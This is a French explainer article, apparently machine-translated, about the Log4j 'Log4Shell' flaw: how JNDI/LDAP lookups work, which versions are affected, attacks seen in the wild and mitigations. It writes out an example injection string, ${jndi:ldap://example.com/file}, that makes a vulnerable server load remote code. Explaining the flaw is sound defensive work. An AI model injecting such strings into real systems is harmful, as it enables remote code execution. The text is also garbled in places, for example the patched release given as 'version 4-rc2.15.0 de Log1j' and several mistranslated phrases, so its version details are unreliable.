Table des matières[Cacher][Montrer]
Fin novembre 2021, nous avons découvert une menace majeure pour la cybersécurité. Cet exploit affecterait potentiellement des millions de systèmes informatiques dans le monde.
Il s'agit d'un guide sur la vulnérabilité Log4j et sur la manière dont un défaut de conception négligé a laissé plus de 90 % des services informatiques mondiaux ouverts aux attaques.
Apache Log4j est un utilitaire de journalisation open source basé sur Java développé par Apache Software Foundation. Initialement écrit par Ceki Gülcü en 2001, il fait maintenant partie d'Apache Logging Services, un projet de l'Apache Software Foundation.
Des entreprises du monde entier utilisent la bibliothèque Log4j pour activer la journalisation sur leurs applications. En fait, la bibliothèque Java est si omniprésente que vous pouvez la trouver dans les applications d'Amazon, Microsoft, Google, etc.
L'importance de la bibliothèque signifie que toute faille potentielle dans le code pourrait laisser des millions d'ordinateurs ouverts au piratage. Le 24 novembre 2021, un sécurité cloud chercheur travaillant pour Alibaba a découvert un terrible défaut.
La vulnérabilité Log4j, également connue sous le nom de Log4Shell, existait inaperçue depuis 2013. La vulnérabilité permettait à des acteurs malveillants d'exécuter du code sur les systèmes affectés exécutant Log4j. Il a été rendu public le 9 décembre 2021
Les experts de l'industrie appellent la faille Log4Shell la plus grande vulnérabilité de mémoire récente.
Dans la semaine suivant la publication de la vulnérabilité, les équipes de cybersécurité ont détecté des millions d'attaques. Certains chercheurs ont même observé un rythme de plus d'une centaine d'attaques par minute.
Comment cela fonctionne ?
Pour comprendre pourquoi Log4Shell est si dangereux, nous devons comprendre de quoi il est capable.
La vulnérabilité Log4Shell permet l'exécution de code arbitraire, ce qui signifie essentiellement qu'un attaquant peut exécuter n'importe quelle commande ou code sur une machine cible.
Comment y parvient-il ?
Tout d'abord, nous devons comprendre ce qu'est le JNDI.
L'interface JNDI (Java Naming and Directory Interface) est un service Java qui permet aux programmes Java de découvrir et de rechercher des données et des ressources via un nom. Ces services d'annuaire sont importants car ils fournissent un ensemble organisé d'enregistrements que les développeurs peuvent facilement référencer lors de la création d'applications.
Le JNDI peut utiliser divers protocoles pour accéder à un certain répertoire. L'un de ces protocoles est le protocole léger d'accès à l'annuaire, ou LDAP.
Lors de la journalisation d'une chaîne, log4j effectue des substitutions de chaînes lorsqu'elles rencontrent des expressions de la forme ${prefix:name}
.
Par exemple, Text: ${java:version}
peut être enregistré en tant que Texte : Java version 1.8.0_65. Ces sortes de substitutions sont monnaie courante.
On peut aussi avoir des expressions telles que Text: ${jndi:ldap://example.com/file}
qui utilise le système JNDI pour charger un objet Java à partir d'une URL via le protocole LDAP.
Cela charge efficacement les données provenant de cette URL dans la machine. Tout pirate informatique potentiel peut héberger un code malveillant sur une URL publique et attendre que les machines utilisant Log4j le consignent.
Étant donné que le contenu des messages de journal contient des données contrôlées par l'utilisateur, les pirates peuvent insérer leurs propres références JNDI qui pointent vers les serveurs LDAP qu'ils contrôlent. Ces serveurs LDAP peuvent être remplis d'objets Java malveillants que le JNDI peut exécuter via la vulnérabilité.
Ce qui aggrave la situation, c'est que peu importe si l'application est une application côté serveur ou côté client.
Tant qu'il existe un moyen pour l'enregistreur de lire le code malveillant de l'attaquant, l'application reste ouverte aux exploits.
Qui est affecté?
La vulnérabilité affecte tous les systèmes et services qui utilisent APache Log4j, avec les versions 2.0 jusqu'à 2.14.1 inclus.
Plusieurs experts en sécurité indiquent que la vulnérabilité peut avoir un impact sur un certain nombre d'applications utilisant Java.
La faille a été découverte pour la première fois dans le jeu vidéo Minecraft appartenant à Microsoft. Microsoft a exhorté ses utilisateurs à mettre à jour leur logiciel Minecraft édition Java pour éviter tout risque.
Jen Easterly, directrice de la Cybersecurity and Infrastructure Security Agency (CISA), déclare que les fournisseurs ont un responsabilité majeure pour empêcher les utilisateurs finaux d'acteurs malveillants exploitant cette vulnérabilité.
"Les fournisseurs doivent également communiquer avec leurs clients pour s'assurer que les utilisateurs finaux savent que leur produit contient cette vulnérabilité et doivent donner la priorité aux mises à jour logicielles."
Les attaques auraient déjà commencé. Symantec, une entreprise qui fournit des logiciels de cybersécurité, a observé un nombre varié de demandes d'attaque.
Voici quelques exemples des types d'attaques que les chercheurs ont détectées :
- Botnets
Les botnets sont un réseau d'ordinateurs contrôlés par une seule partie attaquante. Ils aident à effectuer des attaques DDoS, à voler des données et à d'autres escroqueries. Les chercheurs ont observé le botnet Muhstik dans des scripts shell téléchargés à partir de l'exploit Log4j.
- Cheval de Troie mineur XMRig
XMRig est un mineur de crypto-monnaie open source qui utilise des processeurs pour exploiter le jeton Monero. Les cybercriminels peuvent installer XMRig sur les appareils des gens afin qu'ils puissent utiliser leur puissance de traitement à leur insu.
- Rançongiciel Khonsari
Ransomware fait référence à une forme de malware conçu pour crypter les fichiers sur un ordinateur. Les attaquants peuvent alors exiger un paiement en échange de l'accès aux fichiers cryptés. Les chercheurs ont découvert le rançongiciel Khonsari dans les attaques Log4Shell. Ils ciblent les serveurs Windows et utilisent le framework .NET.
Qu'est-ce qui se passe ensuite?
Les experts prédisent qu'il faudra des mois, voire des années, pour résoudre complètement le chaos provoqué par la vulnérabilité Log4J.
Ce processus implique la mise à jour de chaque système affecté avec une version corrigée. Même si tous ces systèmes sont corrigés, il y a toujours la menace imminente d'éventuelles portes dérobées que les pirates ont peut-être déjà ajoutées à la fenêtre que les serveurs étaient ouverts à l'attaque.
Merci beaucoup solutions et atténuations existent pour empêcher les applications d'être exploitées par ce bogue. La nouvelle version 4-rc2.15.0 de Log1j a modifié divers paramètres pour atténuer cette vulnérabilité.
Toutes les fonctionnalités utilisant JNDI seront désactivées par défaut et les recherches à distance ont également été restreintes. La désactivation de la fonction de recherche sur votre configuration Log4j aidera à réduire le risque d'exploits possibles.
En dehors de Log4j, un plan plus large est toujours nécessaire pour empêcher les exploits open source.
Plus tôt en mai, la Maison Blanche a publié un commande exécutive visant à améliorer la cybersécurité nationale. Il comprenait une disposition pour une nomenclature logicielle (SBOM) qui était essentiellement un document formel contenant une liste de tous les éléments nécessaires à la construction de l'application.
Cela inclut des pièces telles que le open source packages, dépendances et API utilisés pour le développement. Bien que l'idée des SBOM soit utile pour la transparence, aidera-t-elle vraiment le consommateur ?
La mise à niveau des dépendances peut être trop compliquée. Les entreprises peuvent simplement choisir de payer des amendes plutôt que de risquer de perdre du temps supplémentaire à trouver des packages alternatifs. Peut-être que ces SBOM ne seront utiles que si leur portée est encore limité.
Conclusion
Le problème Log4j est plus qu'un simple problème technique pour les organisations.
Les chefs d'entreprise doivent être conscients des risques potentiels qui pourraient survenir lorsque leurs serveurs, produits ou services s'appuient sur du code qu'ils ne maintiennent pas eux-mêmes.
S'appuyer sur des applications open source et tierces comporte toujours un certain risque. Les entreprises devraient envisager d'élaborer des stratégies d'atténuation des risques avant que de nouvelles menaces n'apparaissent.
Une grande partie du Web repose sur des logiciels open source gérés par des milliers de bénévoles dans le monde entier.
Si nous voulons que le Web reste un endroit sûr, les gouvernements et les entreprises devraient investir dans le financement des efforts open source et des agences de cybersécurité telles que CISA.
Soyez sympa! Laissez un commentaire